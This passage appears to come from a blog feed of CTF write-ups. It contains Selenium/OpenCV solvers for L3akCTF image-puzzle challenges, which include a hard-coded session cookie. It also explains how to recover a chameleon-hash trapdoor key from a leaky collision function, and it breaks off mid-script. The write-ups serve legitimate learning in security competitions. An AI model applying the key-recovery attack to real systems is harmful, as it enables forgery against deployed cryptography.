logger.info(\u0026#34;Requesting a new puzzle from the API...\u0026#34;) try: response = session.get(f\u0026#34;{BASE_URL}/api/newpuzzle\u0026#34;) response.raise_for_status() data = response.json() logger.info(f\u0026#34;Successfully received puzzle: \u0026#39;{data[\u0026#39;title\u0026#39;]}\u0026#39; by {data[\u0026#39;artist\u0026#39;]}\u0026#34;) except requests.exceptions.RequestException as e: logger.error(f\u0026#34;Failed to get new puzzle: {e}\u0026#34;) break ID = data[\u0026#39;puzzle_id\u0026#39;] GRID_ROWS = data[\u0026#39;rows\u0026#39;] GRID_COLS = data[\u0026#39;cols\u0026#39;] WIDTH = data[\u0026#39;width\u0026#39;] HEIGHT = data[\u0026#39;height\u0026#39;] FULL_IMAGE_URL = data[\u0026#39;url\u0026#39;] #.replace(\u0026#34;name=small\u0026#34;, \u0026#34;name=4096x4096\u0026#34;) if data[\u0026#39;artist\u0026#39;] == \u0026#39;ZinFyu\u0026#39;: FULL_IMAGE_URL = \u0026#34;https://furrycdn.org/img/view/2024/5/24/335604.jpg\u0026#34; else: driver.get(FULL_IMAGE_URL) logger.info(\u0026#34;On Twitter page, finding the image...\u0026#34;) image_element = WebDriverWait(driver, 20).until( EC.presence_of_element_located((By.CSS_SELECTOR, \u0026#39;img[alt=\u0026#34;Image\u0026#34;]\u0026#39;)) ) FULL_IMAGE_URL = image_element.get_attribute(\u0026#39;src\u0026#39;) if not FULL_IMAGE_URL: raise ValueError(\u0026#34;Found the image element but it has no src.\u0026#34;) FULL_IMAGE_URL = FULL_IMAGE_URL.replace(\u0026#34;name=small\u0026#34;, \u0026#34;name=4096x4096\u0026#34;) logger.info(f\u0026#34;Found full image URL: {FULL_IMAGE_URL}\u0026#34;) driver.quit() logger.info(\u0026#34;Switched back to the puzzle page.\u0026#34;) cur_tiles_b64 = data[\u0026#39;pieces\u0026#39;] cur_tiles = [] for b64_string in cur_tiles_b64: img_data = base64.b64decode(b64_string) img_np = np.frombuffer(img_data, np.uint8) img = cv2.imdecode(img_np, cv2.IMREAD_COLOR) cur_tiles.append(img) logger.info(f\u0026#34;Grid: {GRID_ROWS}x{GRID_COLS}. Decoded {len(cur_tiles)} puzzle pieces.\u0026#34;) try: response = requests.get(FULL_IMAGE_URL) response.raise_for_status() full_img_pil = Image.open(BytesIO(response.content)) full_img = cv2.cvtColor(np.array(full_img_pil), cv2.COLOR_RGB2BGR) logger.info(f\u0026#34;Full image downloaded from: {FULL_IMAGE_URL}\u0026#34;) except requests.exceptions.RequestException as e: logger.error(f\u0026#34;Failed to download full image: {e}\u0026#34;) continue border_size = 5 border_color = get_border_color(cur_tiles) target_h, target_w = GRID_ROWS * HEIGHT-2*border_size, GRID_COLS * WIDTH-2*border_size current_h, current_w = full_img.shape[:2] logger.info(f\u0026#34;Original full image dimensions: {current_w}x{current_h} pixels.\u0026#34;) logger.info(f\u0026#34;Target full image dimensions: {target_w}x{target_h} pixels.\u0026#34;) full_img_resized = full_img[0:target_h, 0:target_w] #full_img_resized=cv2.resize(full_img_resized, (target_w, target_h), interpolation=cv2.INTER_AREA) full_img_bordered = cv2.copyMakeBorder(full_img_resized, border_size, border_size, border_size, border_size, cv2.BORDER_CONSTANT, value=[int(c) for c in border_color]) ref_tiles = slice_grid(full_img_bordered, GRID_ROWS, GRID_COLS) logger.info(f\u0026#34;Reference image processed and sliced into {len(ref_tiles)} tiles.\u0026#34;) n = len(cur_tiles) row_ind, col_ind = method(cur_tiles, ref_tiles, preprocess) piece_locations = {ref_idx: cur_idx for cur_idx, ref_idx in zip(row_ind, col_ind)} answer = [0] * n for i in range(n): final_position = col_ind[i] original_index = row_ind[i] answer[final_position] = original_index answer = [int(x) for x in answer] logger.info(f\u0026#34;Calculated final piece arrangement\u0026#34;) if deebooged: logger.info(\u0026#34;Debugging mode: Saving matched images for inspection.\u0026#34;) deebooged = False debug_dir = \u0026#34;debug_matches\u0026#34; os.makedirs(debug_dir, exist_ok=True) logger.info(f\u0026#34;Saving matched images to \u0026#39;{debug_dir}/\u0026#39; for debugging...\u0026#34;) for ref_idx, cur_idx in piece_locations.items(): ref_img_to_save = ref_tiles[ref_idx] cur_img_to_save = cur_tiles[cur_idx] h, w, _ = cur_img_to_save.shape if ref_img_to_save.shape[0] != h or ref_img_to_save.shape[1] != w: logging.warning(f\u0026#34;Resizing reference image {ref_idx} to match current image dimensions.\u0026#34;) logging.warning(f\u0026#34;Reference image shape: {ref_img_to_save.shape}, Current image shape: {cur_img_to_save.shape}\u0026#34;) ref_img_to_save = cv2.resize(ref_img_to_save, (w, h), interpolation=cv2.INTER_AREA) abs_img_to_save = cv2.absdiff(ref_img_to_save, cur_img_to_save) combined_img = np.concatenate((ref_img_to_save, cur_img_to_save,abs_img_to_save), axis=1) cv2.imwrite(os.path.join(debug_dir, f\u0026#34;match_{ref_idx:03d}_(ref_vs_cur).png\u0026#34;), combined_img) payload = { \u0026#39;puzzle_id\u0026#39;: ID, \u0026#39;answer\u0026#39;: answer } logger.info(\u0026#34;Submitting final answer to the API...\u0026#34;) try: response = session.post(f\u0026#34;{BASE_URL}/api/checkanswer\u0026#34;, json=payload) response.raise_for_status() result = response.json() if result.get(\u0026#39;correct\u0026#39;): logger.info(f\u0026#34;🎉 Puzzle Solved! Message: {result.get(\u0026#39;winmessage\u0026#39;, \u0026#39;Success!\u0026#39;)}\u0026#34;) break else: logger.error(\u0026#34;Puzzle not solved. The API reported an incorrect answer.\u0026#34;) except requests.exceptions.RequestException as e: logger.error(f\u0026#34;Failed to submit answer: {e}\u0026#34;) deebooged = True if m == 4: logger.info(\u0026#34;All methods exhausted without solving the puzzle. Restarting...\u0026#34;) exit() logger.info(\u0026#34;--- Puzzle attempt complete. Starting next puzzle... ---\u0026#34;) time.sleep(2) It also important to note that, for some odd reason, one of the images is slightly offset in position. I had to modify the script just for that particular puzzle\n1 2 3 4 5 6 7 8 9 10 offset = 10 target_h_crop = GRID_ROWS * HEIGHT - (2 * border_size) target_w_crop = GRID_COLS * WIDTH - (2 * border_size) target_h = target_h_crop + 2 * border_size target_w = target_w_crop + 2 * border_size+ offset*2 full_img_cropped = cv2.resize(full_img, (target_w, target_h), interpolation=cv2.INTER_AREA) full_img_cropped = full_img_cropped[0:target_h_crop, 0:target_w_crop] full_img_bordered = cv2.copyMakeBorder(full_img_cropped, border_size, border_size, border_size, border_size, cv2.BORDER_CONSTANT, value=[int(c) for c in border_color]) ref_tiles = slice_grid(full_img_bordered, GRID_ROWS, GRID_COLS) Also, since this methode is entirely done without a GUI, we didn\u0026rsquo;t get the chance to admire the *cough, cough* gorgeous furry art xd, BUT YOU WILL SEE IT !\n","date":"2025-07-14T17:55:16+01:00","image":"https://cs.bitraven.pro/p/puzzle-3-l3akctf-2025/l3akctf_hu_d01f5509e9a07c05.jpg","permalink":"https://cs.bitraven.pro/p/puzzle-3-l3akctf-2025/","title":"Puzzle 3 - L3akCTF 2025"},{"content":"This is the second challenge in a 5-part series involving solving a scrablmed image puzzles (10 of them in this case) in record time, for the most part.\nThe first part is solvable manually, but this level increases the number of pieces and reduces the time limit for each puzzle, making atomation the clear path forward.\nHint Discovery Initial analysis of the web page revealed hint. The \u0026lt;h1\u0026gt; element containing the puzzle\u0026rsquo;s title was also an \u0026lt;a\u0026gt; tag, linking to an external site (which is X, but not always). Following this link led to a Twitter post that featured the original, fully-assembled image for the current puzzle.\nThis oversight changed the problem entirely. Instead of a complex computer vision challenge involving pattern recognition, it became a more straightforward task: scrape the solution, map the pieces, and execute the moves. The source image URL on Twitter could even be modified from ?name=small to ?name=4096x4096 to retrieve a high-resolution version, which was ideal for creating accurate reference tiles.\nMethodology The solver was built in Python using Selenium for browser automation and OpenCV for image processing. The script follows these steps for each puzzle:\nNavigate and Scrape: Use Selenium to load the puzzle page, find the Twitter link, open it in a new tab, and extract the high-resolution source image URL. Create Reference Tiles: Download the source image. After some minor cropping and resizing to match the puzzle\u0026rsquo;s dimensions, slice it into a grid of \u0026ldquo;reference tiles\u0026rdquo; using OpenCV. This grid represents the solved state. Extract Current State: Scrape the src attribute of each puzzle piece on the board. Since these were Base64 encoded, they were decoded in-memory into OpenCV image objects. Map Pieces: Match each scrambled tile on the board to its corresponding reference tile. Execute Swaps: Use Selenium\u0026rsquo;s ActionChains to perform all required swaps in bundled and more efficient sequences. A more sophisticated method was to communicate with the backend api directly to retrieve the puzzle pieces without all the webscraping shenanigans, but I only found out about that part when moving on the next part which integrates that functionality. But, to be honest, this method is a lot cooler as you can see the puzzle pieces being rearranged in the browser in real time.\nIs it less efficient? Yes, but I\u0026rsquo;d be danmed not to say it\u0026rsquo;s a hell of a lot cooler! Plus, after each puzzle is solved, we\u0026rsquo;ll be ✨ delighted ✨ with some questionable furry artwork. Seriously\u0026hellip; WHYYYY 💀\nTechnical Implementation Two components were key to the script\u0026rsquo;s success: the matching algorithm and the execution of swaps.\nOptimal Piece Matching To reliably match the scrambled pieces to the reference tiles, a simple 1-to-1 comparison is insufficient. This is a classic assignment problem, perfectly suited for the Hungarian algorithm, which we can access via scipy.optimize.linear_sum_assignment.\nFirst, a cost matrix is constructed. Each cell (i, j) in the matrix represents the \u0026ldquo;cost\u0026rdquo; of matching scrambled piece i to reference piece j. This cost is calculated as 1 - similarity, where similarity is the result of a normalized template match (cv2.matchTemplate) between the two tiles.\n1 2 3 4 5 6 7 8 for i in trange(n): for j in range(n): res = cv2.matchTemplate(cur_tiles_processed[i], ref_tiles_processed[j], cv2.TM_CCOEFF_NORMED) score = np.linalg.norm(res, \u0026#39;fro\u0026#39;) #the Frobenius norm of the cost matrix cost_matrix[i, j] = 1 - score row_ind, col_ind = linear_sum_assignment(cost_matrix) piece_locations = {ref_idx: cur_idx for cur_idx, ref_idx in zip(row_ind, col_ind)} This function returns the optimal pairing of scrambled pieces to reference slots, providing a complete map of where each piece needs to go.\nExecuting the Moves Executing swaps in one shot would be optimal, but with each swap, the DOM refreshes the ids of the tiles, making it necessary to re-query the DOM of the tiles indexes. Not only that, but it could (and did) lead to race conditions with the web interface, ruining the entire procedure.\nUsing the mapping from the assignment step, the script calculates swaps needed to put each piece in the correct position, going left to right, lot to bottom. Each swap (a click on the source tile, followed by a click on the destination tile) is added to a Selenium.ActionChains object and then executed immediately.\nThis obviously makes it slower, but at least it works.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 actions = ActionChains(driver) for i in range(len(piece_elements)): correct_piece_current_pos = piece_locations[i] if correct_piece_current_pos != i: displaced_piece_ref_idx = next(key for key, value in piece_locations.items() if value == i) logger.info(f\u0026#34;Swapping piece for slot {i} (currently at {correct_piece_current_pos}) with piece for slot {displaced_piece_ref_idx} (currently at {i}).\u0026#34;) current_pieces = driver.find_elements(By.CSS_SELECTOR, \u0026#39;.puzzle-board .puzzle-piece\u0026#39;) src_el = current_pieces[correct_piece_current_pos] dst_el = current_pieces[i] actions.click(src_el).click(dst_el).perform() piece_locations[i], piece_locations[displaced_piece_ref_idx] = i, correct_piece_current_pos logger.info(\u0026#34;All pieces placed correctly in sequence.\u0026#34;) The script reliably solved each puzzle in approximately 2 minutes, from page load to completion; 1 minute to build the reference map and another one to execute the swaps.\nScript Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 import os import time import cv2 import numpy as np from PIL import Image from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC import logging import requests from io import BytesIO import base64 from collections import Counter from tqdm import trange import imagehash from scipy.optimize import linear_sum_assignment logging.basicConfig(format=\u0026#39;SEL\u0026gt; %(message)s\u0026#39;) logger = logging.getLogger() logger.setLevel(logging.INFO) PUZZLE_URL = \u0026#39;http://34.55.69.223:14001/puzzle\u0026#39; options = webdriver.FirefoxOptions() driver = webdriver.Firefox(options=options) driver.get(PUZZLE_URL) cookie = { \u0026#39;name\u0026#39;: \u0026#39;session\u0026#39;, \u0026#39;value\u0026#39;: \u0026#39;mxyALe2gmk2lAYwX7PjP3YBxr3VW63sCu6RLnlOYuoNF7vzAQ_ySSycSOFe5spkv2mj70iqGfc2NbcWbuG6DggbME01xAQbSGGIZ6QV9UVESSNGNRneQqaUrwyz5yNN6nI9MKSoe-xYcSEAMHu0QbUsEqMTAfETN4QVuSxbMhjI=\u0026#39; } driver.add_cookie(cookie) driver.refresh() while True: driver.get(PUZZLE_URL) try: WebDriverWait(driver, 90).until( EC.presence_of_element_located((By.CSS_SELECTOR, \u0026#34;.puzzle-board:not(.hide)\u0026#34;)) ) except Exception as e: logger.error(f\u0026#34;Puzzle board not found: {e}\u0026#34;) driver.quit() exit() logger.info(\u0026#34;Puzzle board loaded successfully.\u0026#34;) import re puzzle_board = driver.find_element(By.CSS_SELECTOR, \u0026#34;.puzzle-board:not(.hide)\u0026#34;) style = puzzle_board.get_attribute(\u0026#39;style\u0026#39;) if style is None: logger.error(\u0026#34;Style attribute not found on puzzle board element.\u0026#34;) driver.quit() exit() try: cols_match = re.search(r\u0026#39;grid-template-columns: repeat\\((\\d+),\\s*([^)]+)\\)\u0026#39;, style) rows_match = re.search(r\u0026#39;grid-template-rows: repeat\\((\\d+),\\s*([^)]+)\\)\u0026#39;, style) if not cols_match or not rows_match: raise ValueError(\u0026#34;Could not find grid dimensions in style attribute\u0026#34;) GRID_COLS = int(cols_match.group(1)) GRID_ROWS = int(rows_match.group(1)) TILE_WIDTH = int(cols_match.group(2).strip()[:-2]) TILE_HEIGHT = int(rows_match.group(2).strip()[:-2]) logger.info(f\u0026#34;Grid dimensions found: {GRID_ROWS} rows, {GRID_COLS} columns, each tile {TILE_WIDTH}x{TILE_HEIGHT} pixels.\u0026#34;) except (ValueError, IndexError) as e: logger.error(f\u0026#34;Could not parse grid dimensions: {e}\u0026#34;) driver.quit() exit() try: logger.info(\u0026#34;Finding link to the original image...\u0026#34;) original_window = driver.current_window_handle puzzle_title_h1 = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.ID, \u0026#34;puzzle-title\u0026#34;)) ) twitter_link_element = puzzle_title_h1.find_element(By.TAG_NAME, \u0026#34;a\u0026#34;) twitter_post_url = twitter_link_element.get_attribute(\u0026#39;href\u0026#39;) if not twitter_post_url: raise ValueError(\u0026#34;Found the link element but it has no href.\u0026#34;) logger.info(f\u0026#34;Found Twitter post URL: {twitter_post_url}\u0026#34;) driver.switch_to.new_window(\u0026#39;tab\u0026#39;) driver.get(twitter_post_url) logger.info(\u0026#34;On Twitter page, finding the image...\u0026#34;) image_element = WebDriverWait(driver, 20).until( EC.presence_of_element_located((By.CSS_SELECTOR, \u0026#39;img[alt=\u0026#34;Image\u0026#34;]\u0026#39;)) ) FULL_IMAGE_URL = image_element.get_attribute(\u0026#39;src\u0026#39;) if not FULL_IMAGE_URL: raise ValueError(\u0026#34;Found the image element but it has no src.\u0026#34;) FULL_IMAGE_URL = FULL_IMAGE_URL.replace(\u0026#34;name=small\u0026#34;, \u0026#34;name=4096x4096\u0026#34;) logger.info(f\u0026#34;Found full image URL: {FULL_IMAGE_URL}\u0026#34;) driver.close() driver.switch_to.window(original_window) logger.info(\u0026#34;Switched back to the puzzle page.\u0026#34;) except Exception as e: logger.error(f\u0026#34;Failed to get the full image URL: {e}\u0026#34;) driver.quit() exit() #FULL_IMAGE_URL = \u0026#34;https://d.furaffinity.net/art/lundi/1712867238/1712867238.lundi_tabby_comm.jpg\u0026#34; response = requests.get(FULL_IMAGE_URL) full_img = Image.open(BytesIO(response.content)) full_img = cv2.cvtColor(np.array(full_img), cv2.COLOR_RGB2BGR) logger.info(\u0026#34;Full image downloaded and converted to OpenCV format.\u0026#34;) def preprocess_for_matching(image): \u0026#34;\u0026#34;\u0026#34; Converts an image to grayscale and applies Canny edge detection to prepare it for robust template matching. \u0026#34;\u0026#34;\u0026#34; gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) blurred_image = cv2.GaussianBlur(gray_image, (5, 5), 0) edges = cv2.Canny(blurred_image, 50, 150) return edges def sharpen_image(image): \u0026#34;\u0026#34;\u0026#34;Applies a sharpening kernel to the image.\u0026#34;\u0026#34;\u0026#34; kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]]) sharpened_image = cv2.filter2D(src=image, ddepth=-1, kernel=kernel) return sharpened_image def slice_grid(img, rows, cols): h, w = img.shape[:2] slice_h, slice_w = h // rows, w // cols tiles = [] for i in range(rows): for j in range(cols): y0, y1 = i * slice_h, (i + 1) * slice_h x0, x1 = j * slice_w, (j + 1) * slice_w im_slice = img[y0:y1, x0:x1] tiles.append(im_slice) return tiles def get_border_color(tiles): \u0026#34;\u0026#34;\u0026#34;Analyzes tile images to find the most common border color.\u0026#34;\u0026#34;\u0026#34; border_pixels = [] for tile in tiles: h, w, _ = tile.shape if h \u0026gt; 1 and w \u0026gt; 1: border_pixels.extend([tuple(p) for p in tile[0, :, :]]) border_pixels.extend([tuple(p) for p in tile[h-1, :, :]]) border_pixels.extend([tuple(p) for p in tile[1:h-1, 0, :]]) border_pixels.extend([tuple(p) for p in tile[1:h-1, w-1, :]]) if not border_pixels: return [0, 0, 0] most_common_pixel = Counter(border_pixels).most_common(1)[0][0] return list(most_common_pixel) def phash(tile): # convert BGR-\u0026gt;RGB-\u0026gt;PIL image pil = Image.fromarray(cv2.cvtColor(tile, cv2.COLOR_BGR2RGB)) return imagehash.phash(pil) first_dim = driver.find_elements(By.CSS_SELECTOR, \u0026#39;.puzzle-board .puzzle-piece\u0026#39;) img_url = first_dim[0].get_attribute(\u0026#39;src\u0026#39;) if not img_url: logger.warning(\u0026#34;No image URL found for a puzzle piece.\u0026#34;) exit() if img_url.startswith(\u0026#39;data:image\u0026#39;): header, encoded = img_url.split(\u0026#39;,\u0026#39;, 1) data = base64.b64decode(encoded) img = Image.open(BytesIO(data)) TILE_WIDTH = img.width TILE_HEIGHT = img.height logger.info(f\u0026#34;Puzzle piece dimensions: {TILE_WIDTH}x{TILE_HEIGHT} pixels.\u0026#34;) border_size = 5 initial_pieces = driver.find_elements(By.CSS_SELECTOR, \u0026#39;.puzzle-board .puzzle-piece\u0026#39;) initial_tiles = [] for piece_element in initial_pieces: img_url = piece_element.get_attribute(\u0026#39;src\u0026#39;) if not img_url: logger.warning(\u0026#34;No image URL found for a puzzle piece.\u0026#34;) exit() if img_url.startswith(\u0026#39;data:image\u0026#39;): header, encoded = img_url.split(\u0026#39;,\u0026#39;, 1) data = base64.b64decode(encoded) img = Image.open(BytesIO(data)) initial_tiles.append(cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR)) border_color = get_border_color(initial_tiles) logger.info(f\u0026#34;Detected border color: {border_color}\u0026#34;) original_width = full_img.shape[1] original_height = full_img.shape[0] logger.info(f\u0026#34;Original image dimensions: {original_width}x{original_height} pixels.\u0026#34;) TWITTER_WIDTH = TILE_WIDTH * GRID_COLS TWITTER_HEIGHT = TILE_HEIGHT * GRID_ROWS crop_width = border_size + (original_width -TWITTER_WIDTH)//2 crop_height = border_size + (original_height - TWITTER_HEIGHT)//2 logger.info(f\u0026#34;Target Twitter image dimensions: {TWITTER_WIDTH}x{TWITTER_HEIGHT} pixels.\u0026#34;) #twitter_img = cv2.resize(full_img, (TWITTER_WIDTH, TWITTER_HEIGHT), interpolation=cv2.INTER_AREA) h, w, _ = full_img.shape full_img = full_img[crop_height*2:h-crop_height*2, crop_width:w-crop_width] logger.info(f\u0026#34;Cropped {crop_height}x{crop_width}px from the sides of the full image.\u0026#34;) twitter_img = cv2.copyMakeBorder( full_img, top=border_size, bottom=border_size, left=border_size, right=border_size, borderType=cv2.BORDER_CONSTANT, value=[int(c) for c in border_color] ) logger.info(f\u0026#34;Twitter image dimensions after border: {twitter_img.shape[1]}x{twitter_img.shape[0]} pixels.\u0026#34;) ref_tiles = slice_grid(twitter_img, GRID_ROWS, GRID_COLS) \u0026#34;\u0026#34;\u0026#34; logger.info(\u0026#34;Sharpening reference tiles...\u0026#34;) ref_tiles = [sharpen_image(tile) for tile in ref_tiles] \u0026#34;\u0026#34;\u0026#34; logger.info(\u0026#34;Reference tiles sliced from full image.\u0026#34;) edge_detect = False deebooged = False while True: piece_elements = driver.find_elements(By.CSS_SELECTOR, \u0026#39;.puzzle-board .puzzle-piece\u0026#39;) cur_tiles = [] for i, piece_element in enumerate(piece_elements): img_url = piece_element.get_attribute(\u0026#39;src\u0026#39;) if not img_url: logger.warning(f\u0026#34;No image URL found for puzzle piece {i}.\u0026#34;) exit() if img_url.startswith(\u0026#39;data:image\u0026#39;): header, encoded = img_url.split(\u0026#39;,\u0026#39;, 1) data = base64.b64decode(encoded) img = Image.open(BytesIO(data)) else: response = requests.get(img_url) img = Image.open(BytesIO(response.content)) tile_img = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR) cur_tiles.append(tile_img) logger.info(\u0026#34;Mapping current pieces to reference tiles...\u0026#34;) ref_tiles_processed = ref_tiles#[preprocess_for_matching(tile) for tile in ref_tiles] cur_tiles_processed = cur_tiles #[preprocess_for_matching(tile) for tile in cur_tiles] n = len(cur_tiles_processed) cost_matrix = np.zeros((n, n)) logger.info(\u0026#34;Building cost matrix using template matching on edges...\u0026#34;) for i in trange(n): for j in range(n): res = cv2.matchTemplate(cur_tiles_processed[i], ref_tiles_processed[j], cv2.TM_CCOEFF_NORMED) score = np.linalg.norm(res, \u0026#39;fro\u0026#39;) cost_matrix[i, j] = 1 - score row_ind, col_ind = linear_sum_assignment(cost_matrix) piece_locations = {ref_idx: cur_idx for cur_idx, ref_idx in zip(row_ind, col_ind)} # --- DEBUG: Save matched images for inspection --- if not deebooged: logger.info(\u0026#34;Debugging mode: Saving matched images for inspection.\u0026#34;) deebooged = True debug_dir = \u0026#34;debug_matches\u0026#34; os.makedirs(debug_dir, exist_ok=True) logger.info(f\u0026#34;Saving matched images to \u0026#39;{debug_dir}/\u0026#39; for debugging...\u0026#34;) for ref_idx, cur_idx in piece_locations.items(): ref_img_to_save = ref_tiles[ref_idx] cur_img_to_save = cur_tiles[cur_idx] h, w, _ = cur_img_to_save.shape if ref_img_to_save.shape[0] != h or ref_img_to_save.shape[1] != w: logging.warning(f\u0026#34;Resizing reference image {ref_idx} to match current image dimensions.\u0026#34;) logging.warning(f\u0026#34;Reference image shape: {ref_img_to_save.shape}, Current image shape: {cur_img_to_save.shape}\u0026#34;) ref_img_to_save = cv2.resize(ref_img_to_save, (w, h), interpolation=cv2.INTER_AREA) abs_img_to_save = cv2.absdiff(ref_img_to_save, cur_img_to_save) combined_img = np.concatenate((ref_img_to_save, cur_img_to_save,abs_img_to_save), axis=1) cv2.imwrite(os.path.join(debug_dir, f\u0026#34;match_{ref_idx:03d}_(ref_vs_cur).png\u0026#34;), combined_img) # --- END DEBUG --- current_pieces = driver.find_elements(By.CSS_SELECTOR, \u0026#39;.puzzle-board .puzzle-piece\u0026#39;) actions = ActionChains(driver) for i in range(len(piece_elements)): correct_piece_current_pos = piece_locations[i] if correct_piece_current_pos != i: displaced_piece_ref_idx = next(key for key, value in piece_locations.items() if value == i) logger.info(f\u0026#34;Swapping piece for slot {i} (currently at {correct_piece_current_pos}) with piece for slot {displaced_piece_ref_idx} (currently at {i}).\u0026#34;) current_pieces = driver.find_elements(By.CSS_SELECTOR, \u0026#39;.puzzle-board .puzzle-piece\u0026#39;) src_el = current_pieces[correct_piece_current_pos] dst_el = current_pieces[i] actions.click(src_el).click(dst_el).perform() piece_locations[i], piece_locations[displaced_piece_ref_idx] = i, correct_piece_current_pos logger.info(\u0026#34;All pieces placed correctly in sequence.\u0026#34;) try: WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.XPATH, \u0026#34;//*[contains(text(), \u0026#39;Solved\u0026#39;)]\u0026#34;)) ) logger.info(\u0026#34;Puzzle solved successfully!\u0026#34;) break except Exception: if edge_detect: logger.error(\u0026#34;Puzzle not solved even with edge detect, manually check the pieces.\u0026#34;) driver.quit() exit() logger.error(\u0026#34;Puzzle not solved. Retrying with edge detection...\u0026#34;) edge_detect = True print(\u0026#39;Puzzle solving attempt complete.\u0026#39;) logger.info(\u0026#34;Starting next puzzle...\u0026#34;) ","date":"2025-07-14T17:17:16+01:00","image":"https://cs.bitraven.pro/p/puzzle-2-l3akctf-2025/l3akctf_hu_d01f5509e9a07c05.jpg","permalink":"https://cs.bitraven.pro/p/puzzle-2-l3akctf-2025/","title":"Puzzle 2 - L3akCTF 2025"},{"content":"This challenge involves a blockchain-like system that uses a chameleon hash function for transaction integrity. The goal is to exploit the chameleon hash properties to forge a transaction \u0026ldquo;Selling|flag|x\u0026rdquo; that allows us to buy the flag.\nMechanics The app lets up perform a set of actions to interact with the chain:\nWork: Gives us some money Buy Gift: Appends a \u0026ldquo;Buy\u0026rdquo; entry followed by a \u0026ldquo;Selling|gift|100\u0026rdquo; onto the chain Refund oldest: Turns the oldest \u0026ldquo;Buy\u0026rdquo; transaction into a \u0026ldquo;Work|x\u0026rdquo; entry by internally forging a satisfying hash. (This is our entry point) Show: pretty obvious xd Rewrite: Gives us an arbitrary write to change any transaction in the chain. Vulnerability Analysis Since the concept of Chameleon hashes is pretty new to me, I wanted to look it up in some papers to better understand it. While there were some pretty interesting ones, especially this one, there wasn\u0026rsquo;t a clear implementation to compare to the challenge.\nWhat also threw me off is that the challenge linked the library\u0026rsquo;s github repo as a hint, leading me to think that there was an unpatched issue with the library of some kind, but that led nowhere either.\nI decided to play the cards I\u0026rsquo;ve been dealt, and read the code to know what exactly I\u0026rsquo;m poking into.\nChameleon Hashes This hashing primitive is structured in a way similar to public key cryptosystems, where the hashing operation is done with a public and a private key. The hashing operation itself is done using the public key, and whatever party holds the corresponding private key can forge a collision for any message to any corresponding hash.\nIn this implementation, the Public Key is self.pp, with the Private Key being self.td_ID, so it would be pretty obvious that our goal is to recover td_ID, but that didn\u0026rsquo;t occur to me straight away xd\nThe Rabbit Hole Before looking for a way to recover the private key, I wanted to inspect the hashing function itself:\n1 2 def _Hash(self, L, m, r): return self.pp[6] ** m * self.pp[5] ** r[0] * pair(r[1], self.pp[1] / (self.pp[0] ** self.ID)) * pair((self.pp[4] / (self.pp[3] ** self.ID)) ** L, r[2]) Since all the variable that come into play here are pretty known, I thought that it might be a good idea to find a way to substitute m while tweaking the randomness to keep the same hash value.\nBut if you look at this for more that 5 seconds, it\u0026rsquo;ll be clear why this is pretty much impossible: m is introduced as an exponent, paired with the fact that pairing group operations are done in a finite field, makes it Discrete Log Problem. So unless I have access to some advanced quantum computer, this path is pretty much dead.\nThe LEAK Going back to the private key, we must find a way to somehow leak it. And surprise surprise, the server-side collision function does just that!\nTo recap, Col is the function that attempts to find a new randomness that would let us forge a satisfying hash for some new message. It derives td_b_ID from the private key to prevent reuse attacks, but it\u0026rsquo;s not prevented here.\nIf you look closely at the new randomess:\n1 return (r[0] + (m - m_p) * td_b_ID[0], r[1] * (td_b_ID[1] * (self.pp[4] / (self.pp[3] ** self.ID)) ** (s * L)) ** (m - m_p), r[2] * (td_b_ID[2] * (self.pp[1] / (self.pp[0] ** self.ID)) ** s) ** (m_p - m)) the derived secret key is linear to the randomness value (and some other value which doesn\u0026rsquo;t really matter).\nThe solution Since each component gof the derived secret is linear to Δ_ri (the difference between new_randomness_i and old_randomness_i) aswell as the difference between the messages, it essentially boils down to solving a linear equation to recover tdb_ID. The solution also eliminated the new-added randomness (s,tp) so we pretty much end up with The private key td_ID.\nWith the private key recovered, we can forge collisions just like the server, and the rest is history\nScript 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from charm.toolbox.pairinggroup import PairingGroup, ZR from pwn import * from tqdm import trange Local = False if Local: HOST = \u0026#34;192.168.1.11\u0026#34; PORT = 1445 else: HOST = \u0026#34;s1.r3.ret.sh.cn\u0026#34; PORT = 32316 io = remote(HOST, PORT) P = PairingGroup(\u0026#34;SS512\u0026#34;) io.recvuntil(b\u0026#34;number! \u0026#34;) ll = io.recvline().decode().strip()[1:-1].split(\u0026#34;, \u0026#34;) pp = 